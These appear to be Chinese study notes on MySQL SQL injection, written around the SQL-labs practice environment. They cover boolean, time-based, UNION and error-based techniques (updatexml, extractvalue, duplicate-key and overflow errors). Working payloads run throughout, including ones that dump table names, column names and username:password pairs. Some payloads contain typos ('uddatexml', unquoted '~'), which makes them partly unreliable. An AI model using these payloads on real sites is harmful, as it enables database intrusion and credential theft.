SQL 注入点判断
?id= 1' +1/-1 页面是否有变化
如果有变化 首先考虑 联合查询
:?id=1' 这是判断 字符型还是 数字型
select * from tbName where id = $id
near ''' at line 1 数字型
near ''1'' at line 1' 字符型
数字型注入
1.测试是否有布尔类型的状态
?id=1 and 1=1 恒真式
?id=1 and 1=2 恒假式
select * from tbName where id = 35 and 1=1
select * from tbName where id = 35 and 1=2
在恒假式中 语句在数据库中执行后,没有返回结果,没有新闻内容
反过来看,页面没有新闻内容,也就是SQL语句查询条件为假,也就是说
写的语句[and 1=2 --+] 起到了将查询条件置为假的作用
那么 通过构建语句来控制SQL,语句的查询结果并且,SQL语句查询条件真假性,在页面
回显中有体现
sleep(5),可以通过网络时间线看到延时
说明语句起作用 综上此存在SQL漏洞
联合查询:
union select 该语句会同时执行两条select语句,生成两张虚拟表,然后把擦汗寻到的结果
进行拼接,由于两个表都是二维结构,联合查询会纵向拼接,两张虚拟表
可以跨库跨表查询
union
1.必要条件
@ 两张虚拟表具有相同的列数
@ 两张虚拟表对应的列的数据类型相同
2.判断个数
: [order by] 语句来判断当前select 语句所查询的虚拟表的列数
[order by] 语句本意 排序
select *
from information_schema(tables,columns)
where table_schema = database() // table_name = xxxx
报错注入:
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,
如BigInt大数溢出等,
由此可以将MySQL报错注入分为以下几类:
BigInt等数据类型溢出
函数参数格式错误
主键/字段重复
1.主键重复
(rand,floor,count)三函数
group by要进行两次运算,
第一次是拿group by后面的字段值到虚拟表中去对比前,
首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,
那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,
所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,
那么这时的插入必然导致主键的重复,进而引发错误
实例语句
select count(*),(concat(floor(rand(0)*2),'^',(select version()))) as x
from information_schema.tables
group by x
如果表被禁用了则
select concat('^',version(),'^',floor(rand(0)*2)) as x,count(*)
from (select 1 union select null union select !1)a
group by x
如果rand()|count()被禁用了
select min(@a:=1)
from information_schema.tables
group by concat('^',@@version,'^',@a:=(@a+1)%2)
不依赖额外的函数和具体的表
select min(@a:=1)
from(select 1 union select null union select !1)a
group by concat('^',@@version,'^',@a:=(@a+1)%2)
2.xpath
1.uddatexml()
语句用法:updatexml(XML_document,xpath-string,new_value) // 引用https://www.cnblogs.com/wangtanzhi/p/12577891.html#autoid-1-2-0
适用于版本 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
我们通常在第二个xpath参数填写我们要查询的内容
updatexml是由于参数格式不正确而产生的错误,同样也会返回参数的信息
payload
前后加~使其不符合xpath格式从而报错
and 1= updatexml(1,concat(~,(select @@version),~),1) //@ 是用户变量 @@是系统变量
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
另外,updatexml最多只能显示32位,需要配合SUBSTR使用。
一下以 SQL——labs 为例
报表名:
or updatexml(1,concat(~,(select group_concat(table_name)from information_schema.tables where table_schema=database()),~),1)
爆字段名
or uddatexml(1,concat(~,(select group_concat(column_name)from information_schema.columns where table_name='xxxx'),~),1)
爆数据
or uddatexml(1,concat(~,(select concat_ws(':',username,password)from xxxx),~),1)
2.extractvalue()
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3.溢出报错
1.exp()
函数语法:exp(int)
适应版本 :5.5.5~5.5.49
作用:该函数回返回e的x次方结果
为什么会报错呢?我们知道,次方到后边每增加1,其结果都将跨度极大,
而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错
经过测试
当传递一个大于709的值时,函数exp()就会引起一个重叠错误。
即为 DOUBLE value is out of range
playload:
exp(~(select * from(select user())a)) /~的意思是按位取反 将0按位取反就会返回
“ 18446744073709551615”,
再加上函数成功执行后返回0的缘故,
我们将成功执行的函数取反将会得到最大的无符号BIGINT值
2.BigInt等数据类型溢出
playload:(select (!x-~0) from(select(select version))x)a